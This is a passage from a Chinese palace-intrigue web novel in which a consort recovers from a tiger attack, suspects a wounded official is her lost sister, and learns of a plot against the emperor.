“唉。”一名大臣摇头,“现在已经不能称薛马帅了。” “也是。” 最初搭话那人道:“侍卫司都指挥使一职暂缺,也不知谁会捡了这个便宜。” 听着身后的低语声,舒晋的脸色逐渐变了,偏头小声对舒誉道:“这个云昭仪,可真是个祸害。那虎怎么不一口把她咬死?” 语气颇为咬牙切齿。 舒誉目不斜视,嘴唇阖动,“慎言。” 舒晋面色难看,“爹,薛伯昌被革职,咱们怎么办?可要再推我们的人上去?” 和杜家一役,舒家损失了冯家与不少心腹,哪怕杜空致那老匹夫再也翻不起浪,舒晋依然咽不下这口气,这会儿迫切地想要让舒家恢复以往的荣光。 舒誉摇头,“不可,先静观其变。” 他回头望了眼,目光幽深。 经历了这么多,若是再看不出皇帝有了别的心思,那他这么多年就是白活了。 当务之急,是要让舒家蛰伏起来。 舒誉淡淡道:“你妹妹这阵子状态不好,你多去瞧瞧她。这些时日就多陪陪你媳妇孩子。” 舒晋神色不太情愿,但想到最近一心扑在朝堂上,对连茱母子略有忽略,还是点了头。 殿内。 朝臣们走后,武稷跪在孟桓启面前,沉声道:“微臣办事不力,求陛下责罚。” 他重重一跪,膝盖与大理石地面发出沉闷声响,闻人故光是听着都觉得疼。 皱了皱眉,他坐在一旁不语。 孟桓启沉着脸坐于上首,右手放在扶手上,翠绿扳指泛着幽光,语气冷沉,“不仅多了一只虎,还让昭仪受了惊吓,你的确该罚。” 武稷垂头不语。 “先记着,等回了京,自去领三十军棍,再罚三月俸禄。” 武稷松了口气,“臣领旨。” 孟桓启不再看他,“下去。” 武稷起身,恭敬退下。 “表弟,弟妹怎么样了?” 闻人故问。 孟桓启揉了揉太阳穴,神色担忧,“还没醒。” 闻人故安慰,“没受伤便好,等她醒了喂碗安神汤,再养些时日就好。” 孟桓启颔首,“唐鹤原如何?” “已经派太医去看了。” 说到这儿,闻人故语气新奇,“早听说唐鹤原有洁症,不喜旁人近身,谁想连太医碰他也受不了,硬是忍着疼,偏要让自家丫鬟换药。” “你说他这是什么毛病?” 孟桓启拧眉,“他想怎样就怎样,让太医满足他的一切要求。” 闻人故应声,“好。” 正要与孟桓启商议别的事,里头忽然有了动静,孟桓启脸色一变,起身匆匆往里走,“先回吧,剩下的改日再说。” 眼睁睁看着自家表弟毫不留情抛下他,闻人故无奈耸肩。 …… “小圆!” 一道身影猛地从床上坐起。 汗水打湿了鬓发,她捂着胸口大口大口喘气,瞪大的双眼里残留着惊惧痛苦。 眼前仍是一片血色,她似未从梦境中醒神,掀开锦被下榻,跌跌撞撞地往外跑,“小圆,小圆!” “娘娘,您怎么了?” 守在床边的芳音看着她一脸迷茫地往外跑,急忙追上去。 “娘娘!” 云镜纱耳边什么也听不见,唐鹤原满身是血的模样不断在她脑海里回放,一滴泪掉落,她奋力跑到门边。 “小圆!” 门开了。 有人挡在她面前。 听到那声字正腔圆的“小圆”,孟桓启眉心折起。 小圆? 她的妹妹? 不是已经没了? 想起云镜纱昏迷前对着唐鹤原哭泣的模样,又回忆起方才闻人故所说的,唐鹤原不准旁人近身的洁症,孟桓启脑子里似有什么东西闪过。 他暂且按下,伸手点去云镜纱挂在眼睫上的泪,声线放柔,“怎么了?” 听到他的声音,意识渐渐回笼,云镜纱用力眨了下眼,眼眶内有泪珠直直坠落,砸在两人脚下。 她茫然道:“陛、陛下?” “是朕。” 瞧她光着脚,十个脚指头不安蜷起,孟桓启一手落在云镜纱后背,一手放在她膝弯,稳稳当当把人抱起。 “天冷,怎么不穿鞋就出来了?” 云镜纱抿唇,“屋里烧着地龙,不冷的。” 孟桓启不语,把她放在床上,找出足衣,亲手给她套上。 云镜纱看着他头上玉冠,小心翼翼出声询问:“陛下,小……唐大人怎么样了?” “朕派了太医,你若担心,待会儿朕让太医前来回话。” 云镜纱急声道:“她流了这么多血,应当很疼吧?老虎爪子那般尖锐,也不知会不会留下疤痕,她……” 意识到自己过于关心,云镜纱有些语无伦次,“唐大人好歹救了我,我关心她也是应该的,对吧?” 孟桓启嘴角抿出笑,“嗯,应该的。” 蹲在她身前,孟桓启大手将她两只手握住,热意从他掌心蔓延,“朕会派给她最好的太医,用最好的药,一定不会让她留疤。” 凤眸定定看着她,眸底一片澄澈,云镜纱扑进孟桓启怀里,把眼泪全部抹在他胸口布料上,闷闷道:“嗯,我相信陛下。” 孟桓启安静地抱了她一会儿,“先喝碗安神汤,喝完朕再传太医回话。” “好。” 一听这话,芳音急忙去端灶上温好的安神汤。 孟桓启接过,一勺一勺喂她喝下。 云镜纱张唇,边出神边喝。 意识回笼,蹊跷之处钻入她脑中。 她当年是亲眼看见小圆被穿了心的。 她是怎么活下来的, 又怎么成了唐鹤原? 如果唐鹤原是小圆,她为什么女扮男装参加科举,登入朝堂? 如果不是,他身上的胎记又为什么和小圆一模一样? 从仅有的几次见面来看,唐鹤原的行为举止与寻常少年一般无二,他真的……会是女扮男装吗? 云镜纱不确定。 下意识张口,下一瞬,口腔里阗溢着甜意,她回神嚼了两下,哭过的眸子怔怔看向孟桓启。 安神汤不知何时已经空了,孟桓启端着一碟子蜜饯,往她嘴里喂了一颗。 “刚受了惊吓,勿多思,好好休养。” 云镜纱鼓着腮帮子,闷声道:“知道了。” 孟桓启换了只手端碟子,掌心在她柔嫩侧脸摩挲两下,“先休息,朕去传太医。” “好。” 孟桓启走后,芳音这才敢踱步到床前,眼泪汪汪道:“娘娘,奴婢今日被吓坏了。” 云镜纱嘴角勾起淡笑,“大难不死必有后福,芳音日后定是个有福气的。” 芳音掉着眼泪连连点头。 “丰熙呢?” “丰熙姐姐受了伤,正在上药。” 芳音眨巴着眼,语气夸张,“娘娘,丰熙姐姐竟然会武!她到底是什么人啊?” 云镜纱:“当然是玉华宫掌事宫女。” 见芳音噘嘴,明显对这个敷衍的答案不满,她浅浅勾唇,“无论以前是什么身份,她现在都是玉华宫的人,为了保护我受了伤,你只记住这个就好。” “娘娘放心,我记住了。” 话音甫落,有人从外头闯进来,慌乱喊:“姑娘!” 芳音回头,大吐苦水,“寻春,你跑哪儿去了!我们方才遇到了老虎,险些就没命了!” 尹寻春奔至云镜纱榻前,眼泪汪汪道:“姑娘,都怪我回来晚了。” 芳音顺势问:“你去哪儿了?” 回来时她就发现寻春不见了,但当时忧心娘娘,外加被吓跑的魂儿还没归位,暂时分不出别的心思。 “我去……”尹寻春顿了顿,若无其事道:“我被一只兔子引走了,不小心在山里迷了路。” “你啊。” 芳音叹气,手指戳了戳尹寻春的眉心,“下次可长点心吧。” 尹寻春捂着脑袋,耷拉着眉眼,恹恹的,“哦。” “放心,我没受伤。” 云镜纱安慰一句。 房门“笃笃”两声,高德容道:“娘娘,太医到了。” “公公稍等。” 云镜纱眼睛一亮,穿鞋下榻,“我这就来。” 见她行动自如,尹寻春这才真正放了心,旋即眉头一皱,心中不解。 娘娘既然没事,找太医做什么? 孟桓启给唐鹤原派的是名专治外伤的太医。 这位太医姓胡,留了一把美髯,若是穿上一身道袍,倒颇有些仙风道骨的意味。 他站在殿内恭声禀报,“唐大人的伤听着可怖,但好在都是些皮外伤,并未伤及根骨,好生养些时日就能痊愈。” 他用的是“听”,岂不是说明,他只是粗略看了眼伤口,伤情都由别人转述? 云镜纱问:“会留疤吗?” 胡太医迟疑,“伤口有些深,应当会。” 云镜纱抿唇。 孟桓启牵住她手,低声道:“先治伤,剩下的等伤好再说。” 云镜纱勉强点头。 又问了几句,她放胡太医离开。 “陛下,我能去看看她吗?” 孟桓启点头应允,“朕陪你一起。” 云镜纱对他扬唇一笑,两人牵着手相伴前往唐鹤原的住处。 唐鹤原现任大理寺丞,官职并不高,此次冬狩能有他的名额,是受孟桓启器重,格外开恩。 他的住处有些偏僻,雪天路滑,抬轿的太监走得格外小心。 到了目的地,孟桓启撑着伞,单手将云镜纱抱下来。 院外的宫人战战兢兢的正要行礼,孟桓启挥手让他们退下,带着云镜纱往内走。 快到时,少年清朗的嗓音气急败坏,“唐鹤原!咱们都是男人,有什么不能看的!不就是扯了下你的衣裳?至于把我赶出来吗?!” 屋内嗓音冷漠,“滚。” 70-80 第71章 一个“滚”字彻底捅破了天。 叶江临气得跳脚,脸上因愤怒生起薄红,“唐鹤原!认识这么久,本世子也算帮了你不少忙吧?你受伤,我跑上跑下给你熬药端药,你居然这么不近人情!” “是不是周四那丫头刚才和你说了什么?唐鹤原,你别听她的,那丫头鬼精鬼精的,从小就和我不对付,她肯定是故意挑拨我们之间的关系。” 见屋内没有回应,叶江临心里泛酸,阴阳怪气道:“唐鹤原,你该不会真的喜欢那丫头吧?” 等了片刻,屋里的人始终没有开口,像是默认,叶江临止不住地泛着酸水,心里还有一股说不清道不明的恐慌愤怒,他用力拍着门,大喊道:“唐鹤原!你给我把门打开,咱俩说清楚。说了不想成亲的,你凭什么撇开本世子?” 叶江临大怒,“你别想让本世子祝福你新婚之喜!” 屋内的人似是无法忍受,“哐当”一声开了门,气得苍白脸上额角青筋直跳,忍无可忍道:“闭嘴!” 叶江临先是一喜,旋即担忧道:“外面冷,你怎么出来了?你刚上完药,还是赶紧去躺着吧,若是伤口裂了……” 他叽里咕噜说了一大堆,唐鹤原捏了捏拳,眼睛狠狠一闭,睁眼的刹那,目光陡然一顿。 几步之外站着一对璧人。 男子玄衣裹身,衣上金龙翻飞,怒目圆睁,煌煌威严。 他撑着伞,伞下立着一名姑娘。 碧青色袄裙,发式简单,发间簪着一支白玉梅花簪,斗篷上的狐毛轻柔拂过侧脸,看起来娇柔又乖顺。 天空下着雪,寒风斜斜吹来,雪花落在她鼻尖,点点水光为她增添了脆弱之感,我见犹怜。 一双杏眼如含脉脉秋水,碎光溶在眸底,清透得仿佛水中月。 唐鹤原一时愣住了。 他记性一向不错,此刻还清清楚楚得记得险些昏迷之际,这位昭仪娘娘哭着祈求救他。 那样强烈的情绪,让他心神震荡,控制不住回神,望进一双凄苦绝望的泪眼。 她眼中的泪似乎滴在他心上,令他心脏一颤,一股酸楚之感从心头蔓延,逼得他几欲落泪。 站在姑娘身边的男人看过来,目光带着审视,唐鹤原敛眉。 疼痛令他脸色惨白,坚持行礼,“微臣见过陛下,昭仪娘娘。” 这话让喋喋不休的叶江临成功止了话音,扭头一看,眼睛瞪大了些许,立马道:“见过陛下,昭仪娘娘。” 察觉到云镜纱担忧的目光落在唐鹤原身上,孟桓启收回审视,眉头拧了一瞬,不动声色道:“爱卿身上有伤,不必多礼,进去再说。” 唐鹤原起身,额上挂着一滴汗。 侍女要来扶他,叶江临抢先一步搀住他的手。 唐鹤原面无表情看他一眼,拂开叶江临的手,借着侍女的力道站稳。 叶江临手僵在半空,委屈又茫然。 云镜纱和孟桓启走到近前,后者瞥他一眼。 这一眼轻描淡写又威厉冷冽,吓得叶江临猛地惊醒,悻悻然收手,耷拉着眉眼。 等孟桓启进了屋,唐鹤原这才在侍女的搀扶下跟进去。 叶江临委屈看他,默默跟在后头。 短短几步,唐鹤原已疼得满身是汗,云镜纱急忙让人把他扶到床上,“唐大人身上有伤,怎能如此折腾。自个儿的身子,自己最该爱惜才是。” 她嗔怪的语气令唐鹤原一怔,而接收到云镜纱隐隐责怪眼神的叶江临更是暗暗瞪眼。 目光在两人身上转,酸涩又气闷。 云镜纱又问起唐鹤原的伤势,他一一答了,“都是皮肉伤,娘娘不必忧心。” 云镜纱目光睃巡,“唐大人身边只有一个侍女伺候?” 唐鹤原:“还有一名小厮,这会儿应当在守着药炉。” 云镜纱忖度着,“只两个人,难免照顾不当。陛下, 不如派人回京去请唐夫人,有母亲在,唐大人也能安心养伤。” 孟桓启没意见,“可。” “多谢陛下和娘娘好意,但家母身子孱弱,恐受不住微臣受伤的刺激,侍女和小厮都是自幼在臣身边长大的,伺候得当,臣一向放心。” 叶江临也道:“是啊,伯母身子不好,不好奔波,娘娘放心,有我在,定能好好照顾唐鹤……唐大人。” 云镜纱抿唇。 她本想试探试探唐夫人,没想到她身子不好。 算了,猎场风波不断,还是别吓着老人家了。 等回了京城,唐鹤原养好伤,再想法子试探。 她笑道:“既如此,那便作罢。” 唐鹤原:“多谢娘娘体恤。” 见他神色实在不好,云镜纱虽挂心,但也不好多待,略略坐了片刻,便携孟桓启离开了。 两人走后,叶江临酸溜溜地说:“昭仪娘娘好像关心你。” 唐鹤原也感觉到了,抿了抿唇,靠在枕上闭着眼,“我累了,你先回去吧。” 叶江临死赖着不想走,唐鹤原精神不济,趴着昏昏欲睡。 过了片刻,陛下派人送了许多补品,除此之外,还有另外的官员前来慰问。 叶江临把人拦在院外,没让任何一个人打扰到唐鹤原休息。 送走最后一人,他忽然蹲下身子,两手托着腮,呆呆地注视着从空中飘扬而下的雪花,落了满头的雪而不自知。 苦恼地想,唐鹤原该不会真的喜欢上了周四那丫头吧? 他会不会把他赶出去? 不行! 叶江临猛地蹿起,神色坚定。 趁着唐鹤原受伤,他好好讨好讨好他,争取能再多住些时日。 他真的不想回去被祖父祖母逼着成亲。 …… 回到宫中,见云镜纱眼里带着疲乏,孟桓启摸她柔顺长发,“累吗?朕让人摆膳,你吃完就去休息。” 今日情绪波动过大,云镜纱确实没什么精神,温顺点头,“好。” 孟桓启转头去吩咐。 尹寻春挨蹭过来,小声道:“娘娘,公子方才来过了。” “景哥?” 云镜纱惊讶,“是听说我遇袭的消息来看望我的?” 芳音回话,“是呀,他见娘娘不在就离开了。” 云镜纱点头,“好,我知道了。寻春,明日。你去见见哥哥,告诉他我没事。” 尹寻春:“好。” 云镜纱转而看向丰熙,关心道:“受了伤怎么不去休息?” 丰熙语气平静,“小伤而已,不碍事的。” “伤势不管大小,都得好好休养,否则小伤也得变成大伤。” 云镜纱语气颇不赞同。 丰熙顿了顿,“那奴婢明日再来。” 一晚上的时间足够她疗伤了。 云镜纱没再说什么,点了点头,又去叮嘱芳音给丰熙熬些滋补的汤。 丰熙等了片刻,没再等到云镜纱的问话。 她有些疑惑。 她会武一事,娘娘不问问吗? 丰熙的目光落在面前的姑娘脸上。 肤色白净,神色宁和,眸底蕴着罕见的通透。 丰熙低下头,心中了然。 以娘娘的聪慧,或许早就猜到了她的来历,却不问她的来处,只看她的将来。 娘娘待她如此诚心,丰熙抿唇,有些愧疚。 当初娘娘让人在舒扬的酒里下东西,是她把这事告诉陛下的,导致陛下当夜失约娘娘。 若是娘娘知道了,应该会怪她吧。 丰熙心里纠结难捱,犹豫是否要将此事告知娘娘。 正出着神,忽听一道温和疑惑的嗓音,“怎么还在这儿站着?” 云镜纱含笑看着她,“快去歇息吧。” 丰熙回神,轻轻点头。 还是不说了。 娘娘和陛下现在这么要好,若是说了影响了两人的感情,更是她的罪过。 行了礼,丰熙恭敬退下,回了自己的屋子。 伤口有些裂开,她坐在床边,脱下衣衫,露出染了血的白色纱布。 丰熙揭开纱布,白皙手臂上横贯着几道正在冒血的伤痕,她面无表情地拿着药撒在伤口上。 撒到一半,她眸色一厉,喝到:“谁?!” 一道身影从房梁上跳下,动作堪比灵猫,无声无息落地。 那是个蒙着面的青年,一张脸被面具挡住,只露出一双机灵的眼睛。 目光在丰熙身上扫过,他开口调侃,“这是在娘娘身边待久了许久没动手?怎么连只小老虎都搞定不了。” 他抱着手臂,啧啧有声,“小丰子,你不行了啊。” 丰熙冷冷睨他,上药的动作不停,“手虽然生了,但收拾你还是绰绰有余。” 钟扬“切”声,白她一眼。 丰熙冷声质问:“方才你为何没出手?若非有唐大人挡住,娘娘很可能会受伤。” 钟扬噎了一下,脸上玩世不恭的笑意落下,认真自省,“我以为你能应付,那老虎扑上去时,唐大人已经挡在了娘娘身前。” 收到保护娘娘的任务后,钟扬一直认为这事没什么难度,难免有些疏忽。 丰熙冷嘲一声,“你再不改自大的毛病,什么时候栽了跟头,可没地儿哭去。” 钟扬苦笑,“已经栽了。” 他动了动肩膀,脸上露出痛苦之色,“哎哟”几声凑到丰熙跟前,“我被卫统领罚了三十鞭,可疼可疼了。小丰子,你赶紧给我上上药。” 丰熙冷着脸不理。 钟扬哭丧着脸,“看在咱们这么多年交情的份上,小丰子,你帮帮我吧。我保证,一定不会再让娘娘落入险境。” 丰熙冷了他许久,板着脸打断钟扬的喋喋不休,“脱衣裳。” 钟扬转忧为喜,脱下外衣。 …… 用了晚膳,孟桓启端着安神汤朝云镜纱走去。 “喝完再睡。” 云镜纱拒绝不了,苦着脸喝了一整碗汤。 孟桓启照例喂了她几颗蜜饯,漱了口后揽着人睡去。 也许是今日受了刺激,云镜纱睡得很不安稳,猛地从睡梦中惊醒。 身旁的人将她抱在怀里,大手放在她背后一下下地安抚。 “好了,没事了,安心睡吧。” 朦胧光线中,云镜纱神色复杂地看了他许久,最终在孟桓启的安抚中闭上眼。 一夜好眠。 孟桓启第二日没去狩猎,守在云镜纱身边。 云镜纱有些急,跟他保证,“陛下,我已经没事了。” 为了增强可信度,她甚至在他面前转了个圈。 孟桓启把她拉住,“当心头晕。” 云镜纱连连摇头,“不晕的。我真的已经没事了。” 她小声道:“我想出去转转,可以吗?” 孟桓启拧眉,干脆利落拒绝,“再养一日。” 云镜纱委屈问:“去看唐大人也不行吗?” 孟桓启知道她对唐鹤原有猜测,但一个早已死去的姑娘女扮男装多年,还高中探花,着实令人惊异和不敢置信。 他已经派人去查唐鹤原,或许要不了多久就能得到答案。 孟桓启轻声哄,“明日再去。” 知道这事是没商量的余地了,云镜纱闷闷不乐地“哦”一声。 “那我让寻春去给哥哥报个平安,总可以吧?” 两人在明面上还是兄妹,虽然不太情愿,但孟桓启没理由不让他们接触,勉强点了下头。 云镜纱没看出他的不情不愿,笑着抱了下孟桓启,“谢谢陛下。” 与其让寻春悄悄地去,不如在孟桓启面前过个明路。 她含笑去唤尹寻春。 看着姑娘兴奋不已的背影,孟桓启抿了口茶水,神色淡淡。 只是让宫人去见云景舟而已,有这么兴奋吗? 他敛了眉,沉下心思去看手里的折子。 …… 尹寻春去了两个时辰才回。 知道她或许有话替云景舟转答,芳音和丰熙贴心地倒好热茶,安静退下。 云镜纱捧着茶,吹了吹上头飘着的白雾,轻声问:“什么时候?” 尹寻春捧着茶杯喝了口,被烫得吐了吐舌头,“明日。” 云镜纱颔首,“好。” 翌日,孟桓启果真准许云镜纱出门了。 她先去探望唐鹤原。 少年虽然脸色苍白,但好在精神不错,趴在床上听叶江临念书。 他微阖着眼,有一搭没一搭地纠正叶江临,两人之间氛围不错。 云镜纱眼睛盯着唐鹤原的领口。 这个角度看不出什么,她略有失望。 直白的目光吸引了唐鹤原的注意,他一怔,“娘娘?” 叶江临念书的声音停住,随他一同看了过来,“昭仪娘娘。” 云镜纱止住唐鹤原欲起身行礼的动作,“不必多礼,我只是来看看唐大人。” 叶江临的侍从搬来一把椅子,她坐在唐 鹤原对面,温声问道:“今天怎么样?” “已经好多了,多谢娘娘关怀。” 伤成那样,不过养了一日,能怎么好转? 云镜纱叹气,“是不是很疼?” 唐鹤原因她语气里的心疼愣住,一时不知该怎么接,含糊应道:“还好。” 云镜纱长睫一眨,转向叶江临,“怎么不念了?” “啊?啊!” 叶江临回神,捧着书继续念,眼珠子不时转动,一看就知心思并未在书上。 见唐鹤原始终不自在,云镜纱在心里叹了口气,趁着叶江临停下喝水的工夫起身,“若有什么需要的,只管告诉太医,好好养伤。” 她对二人颔首,款款转身。 叶江临望着她消失的方向,摸了摸后脑勺,狐疑道:“我怎么感觉,昭仪娘娘好像很关心你?” 不是很,是关心得过头了。 唐鹤原下巴搁在软枕上,默默垂下眼睑。 “娘娘心善,我救她一命,她关心我也是正常的。” 瞥他一眼,冷淡道:“怎么停了,继续念。” “哦。” 叶江临敢怒不敢言地重新捧起书。 回到梧桐苑,丰熙正张罗着摆膳。 云镜纱:“陛下还没回来?” 今晨让孟桓启确认自己身体无恙后,云镜纱就催着他去狩猎。 丰熙:“没呢,应该还早。” “好。” 用了午膳,云镜纱捂唇打了个哈欠,转进床帐午睡。 醒来时外头闹哄哄的,来往宫人脸上含着惧意。 云镜纱问:“发生什么了?” 丰熙三人都在,面色严肃道:“娘娘,靖国公出事了。” 云镜纱捂唇的动作一顿,借着动作遮挡,嘴唇飞快一弯。 手放下时,脸上露出惊色,“怎么回事?” 芳音忙道:“说是国公爷猎了头熊瞎子,这本是件好事,谁知回程时,人人都以为已经死了的熊瞎子突然复活,发狂似的朝国公爷冲了过去。” 她皱着一张脸,脸色苍白,“听说国公爷一整条腿都快被那熊瞎子咬断了。” “怎么会突然发生这种事?” 云镜纱眉心蹙着,眸底藏着冷意,“简直是无妄之灾。” 她语气担忧,“国公爷现下如何了?” 芳音:“行宫里的太医都去了,目前还不知如何。” “陛下呢?” 这次回话的是丰熙,“还没回。” 云镜纱叹气,“国公爷好歹也是陛下的亲舅舅,贵妃娘娘不在,于情于理,我都该去看望看望。” 她对丰熙道:“你身上还有伤,就别动弹了,快去歇着吧。” 转向芳音时,见她小脸惨白,眼里藏着惊惧害怕,“你也别去了,让寻春跟着我就好。” 丰熙二人自然无异议。 云镜纱带着尹寻春离开梧桐苑,去靖国公府一行人的住所。 路上可见脚步匆匆,神色严肃的官员,云镜纱看了眼,脸上也是一副担忧的表情,只是脚步慢悠悠的,眸底藏着轻快的笑。 到了地儿,听见“昭仪娘娘到”的唱声,朝臣们纷纷行礼,“见过昭仪娘娘。” 云镜纱连忙叫起。 还没来得及询问情况,一道冷漠厌恶的女声质问:“你来做什么?” 许久不见的舒含昭站在她面前。 云镜纱挑眉。 此时的舒含昭与记忆中的可算是大相径庭。 她瘦得厉害,贴身的袄裙穿在身上,竟大了整整一圈。原本清亮的眸色被浑浊取代,脸色苍白,眼下挂着两道青黑,脸颊肉凹陷进去,颧骨突出,第一眼看过去竟显得可怖。 哪怕一身华服,发间点缀着鸾凤点翠步摇,依然无法与往日那高傲明媚的美人联系在一起。 她站在门外,被舒家人簇拥着,一双眼恶狠狠地瞪着她,像极了被困多日的恶狼。 在场之人许久未见舒含昭,乍然一见,竟被她吓了一跳,纷纷交换眼神,猜测着堂堂舒家贵女,为何变成了这般模样。 云镜纱自然知道。 舒含昭让人给许玉淮吃下芙蓉膏,将他关在府中折磨,转头养起了面首,日日与人厮混。 但许玉淮此人,幼时家道中落,心机深沉,睚眦必报,一门心思想往上爬,如今被舒含昭毁了仕途,怎么可能放任她逍遥快活? 云镜纱提点了他一句,于是许玉淮假意屈服,变成了舒含昭脚下一条摇尾乞怜的狗,整日与她的面首争风吃醋,极大满足了舒含昭的自尊心。 她自以为许玉淮已经屈服在芙蓉膏下,放松了对他的警惕,却不知许玉淮并非是狗,而是毒蛇。 他宁可忍受发作时的折磨,也要把省下来的芙蓉膏放入舒含昭的吃食中。 等她察觉到不对时,舒含昭已经戒不了了。 她用来对付许玉淮的毒药,最终成为了她枷锁。 瞧见舒含昭这番模样,云镜纱心情松快,也不在意她恶劣的语气,“国公爷是国舅,他出了事,我身为陛下的妃嫔,自该来探望。” 舒含昭满脸厌恶,语气冷硬,“用不着你假惺惺!” “大胆!” 尹寻春冷着脸瞪向舒含昭,“侯夫人,我家娘娘是陛下亲封的昭仪,你怎敢对她如此不敬?” “没关系的寻春。” 云镜纱拦住尹寻春,轻声道:“国公爷出事,侯夫人心里指定不好受,别对她这么苛责。” 她语气轻松,玩笑一般道:“何况侯夫人对我说话向来是这种语气,没什么好计较的。” 舒含昭听得火冒三丈,往前跨了一步,“你……!” 一只大手握住了她的手腕。 掌心握上去的刹那,舒晋的眉头一瞬皱起。 昭昭实在是太瘦了。 他心里又气又恨。 来了北山猎场才知,昭昭竟然暗中对许玉淮下芙蓉膏,却被他反将一军,对芙蓉膏成瘾。 昭昭千娇万宠长大,吃不了戒断的苦,舒晋也不忍心让她吃苦,她哭着要芙蓉膏他便给。 可没想到,她竟瘦成了这般模样。 不能再让她这样下去了。 无数个念头在心里转了一圈,舒晋看向云镜纱,眸色一点点变冷。 若是看不出这位云昭仪是来落井下石的,他这么多年的官场就算白混了。 不过一个以色侍人的乡野之女,竟也敢在他舒家门前耀武扬威。 压下心里骤生的戾气,舒晋语气冷漠,“臣妹忧心家父,言语冲撞,还望昭仪恕罪。” 云镜纱眉尾微扬,目光在舒晋脸上停顿片刻,语气温和,“没关系,我已经习惯了。” 舒晋一噎,冰棱般的目光冷冷射去。 云镜纱不躲不避,嘴角含笑。 舒晋垂眸,低沉的嗓音听出些许咬牙切齿,“多谢娘娘宽宏大量。” 云镜纱笑眼弯弯,“不客气。” 舒晋拂袖转身,再不看她。 舒含昭不服,“哥,凭什么给她……” 舒晋眸色冷漠,“昭昭,父亲现在生死不明,你一定要在这种时候和她起纷争?” 话里的冷冽让舒含昭打了个颤。 舒晋从来没用这种语气和她说过话,舒含昭一时惊住,却也知此次的确是自己任性,念及屋内不知生死的爹爹,眼里涌出了泪,“哥,是我的错。” 舒晋叹了声气,摸了下舒含昭的头,动作轻柔,生怕弄疼了她。 目光转向紧闭的房门,眼含担忧。 瞧见这一幕,云镜纱在心里啧了一声。 舒家人自傲的性子,这辈子可能都改不了了。 屋内不时传出舒誉的痛呼声,一盆盆血水端出,云镜纱视线闲闲一扫,不经意从某人身上掠过。 连茱偏头,眼睛惊讶一睁, 礼貌对她颔首。 云镜纱温和一笑,眼里的笑无声湮灭。 守了许久,太医推门而出,道是已经止了血,包扎好伤口,没什么大碍了。 舒含昭喜极而涕,舒晋也是一脸放松。 云镜纱无声冷嗤。 高兴早了。 她无趣告辞。 回梧桐院的路上,天上又飘起了雪,雪花蒙住视线,看不太分明。 尹寻春被撞上的时候云镜纱还没反应过来。 穿着粉衣的小宫人弯着腰连连道歉,语气尽是恐慌。 尹寻春鼓了鼓腮帮子,大气挥手,“算了,我也没什么事,原谅你了。” 小宫人惊喜道谢,又对云镜纱行了礼,很快消失在雪地上。 手里忽然被塞了一物,云镜纱目光询问。 尹寻春小声道:“方才那小宫人给的。” 云镜纱低头。 掌心躺着一张细小纸条,她拧了拧眉,缓缓打开。 上面字迹清晰。 【太后要杀陛下!】 第72章 雪花簌簌而落,落在纸条上时化为星点水渍,短短一瞬便将墨渍晕染。 哪怕字迹逐渐不明,可那股恐慌依旧攫住了云镜纱的心。 尹寻春不解地看着僵在原地的云镜纱,“娘娘怎么了?这上面写的什么?” 云镜纱深吸一口气,盯着纸条右下角的那枚叶子,掌心逐渐收紧,将纸条揉成一团。 尹寻春勾着脑袋去看,勉强辨认出上头的字,惊得眼睛瞪大了一圈。 “太、太后要杀、杀……” 她捂住嘴,咽下剩下的话。 “娘娘,这消息是真的吗?” 云镜纱沉声:“汝桑的消息。” 尹寻春结结巴巴道:“可这也说不通啊,好端端的,太后杀……做什么?” 她懊恼道:“方才我该把那小宫人拦下问清楚的。” 云镜纱不语。 尹寻春心里忽然生出一股不好的预感,“姑娘,你想做什么?” 云镜纱深深吸气,“我去找陛下。” “不能去!” 尹寻春抓住云镜纱的腕子,“万一是真的,太危险了。” 云镜纱心乱了,“寻春,我必须亲自去确认。” 对视许久,尹寻春咬咬牙妥协了,“好,我和你一起去。” 二人转向孟桓启住的含光殿。 见高德容守在殿外,云镜纱先是一喜,“高公公,陛下回来了?” 高德容“哎哟”一声,“是娘娘啊,陛下狩猎还没回呢。您是为靖国公的事来的?娘娘放心,奴才已经派人去寻陛下了。” 云镜纱心一沉,按捺住心急,“多谢公公。” 她毫不犹豫转身就走,连高德容在身后连唤几声都没听见。 尹寻春急急追上,“姑娘,咱们现在怎么办?” 云镜纱闭了闭眼,“去猎场。” 尹寻春犹豫,可看着她暗含忧虑焦急的脸色,又不敢多言,默默跟上。 心脏“砰砰”直跳,云镜纱心慌不已,蓦地停下脚步,冷声道:“出来。” 尹寻春茫然抬眼。 云镜纱立在雪中,长睫被雪水打湿,她看着虚空,冷静开口,“我知道你一直听从陛下的命令保护我,现在,我要你立刻出现在我面前。” 尹寻春恍然大悟。 忘了,姑娘身边一直跟着陛下的暗卫。 她目光盯着某处。 几息后,那地显出一道人影。 是个带着面具的男人,从露在外头的眉眼来看,年纪应当不大。 他单膝跪在雪地上,“属下钟扬,参见昭仪娘娘。” 云镜纱看着他,“方才我得到一个消息,太后想杀陛下。” 钟扬还沉浸在娘娘居然发现他的震惊里,一听这话,眸色瞬间变了。 “你们暗卫间应当有联系的方式,即刻派人去寻陛下。” 钟扬眉眼严肃,“是。” “事关重大,还请娘娘原谅属下暂离片刻。” 云镜纱颔首。 钟扬干脆利落转身,仿佛一瞬间便接受了“太后要杀她儿子”的消息,丝毫没有情绪过渡。 云镜纱掌心收紧。 尹寻春问:“姑娘,咱们现在去哪儿?” “猎场。” 尹寻春大惊,“不是已经派人去寻了吗?姑娘,咱们还是先回梧桐苑等消息吧。” “寻春。” 云镜纱停下,清透的眸子注视着她,不安迷茫交织,“我想去。” 尹寻春咬牙,“行,我和你一起。” 云镜纱对她笑了笑,“寻春,谢谢你。” 若是寻常时候,尹寻春此刻肯定已经乐得跳起来了,现在却顾不得许多,只短促地弯了下唇。 主仆二人疾速朝猎场而去。 刚转过拐角,一只骨节分明的手蓦地将云镜纱细弱腕子拉住。 她一惊,“谁?!” 尹寻春看清来人,惊喜道:“公子!” 眼前的男人温雅如兰,气质斐然,赫然是云景舟。 “景哥,你怎么在这儿?”云镜纱惊讶,旋即挣了挣手腕。 云景舟松开手,“纱纱,你要去哪儿?” 云镜纱不假思索,“陛下出事了,我要去找他。” “景哥,你若有要紧事,等我回来再说。” 见云景舟不语,云镜纱敏锐地察觉到了什么,“你知道陛下遇险?” 云景舟叹气,“纱纱,将宫中消息传出来的,是我的人。” 也就是说,云镜纱知道的,他都知道。 “那你为何……” 话音顿住,云镜纱抬头不可置信地看着云景舟,嗓音因为震惊微微发颤,“景哥,你……” 见她猜出来了,云景舟抬手摸了摸云镜纱的脑袋,“眼下情形与我们心中所想不谋而合。纱纱,皇帝死后,你安心养胎,剩下的都交给我。” 什么养胎? 她眼下并无身孕,云景舟是想瞒天过海? 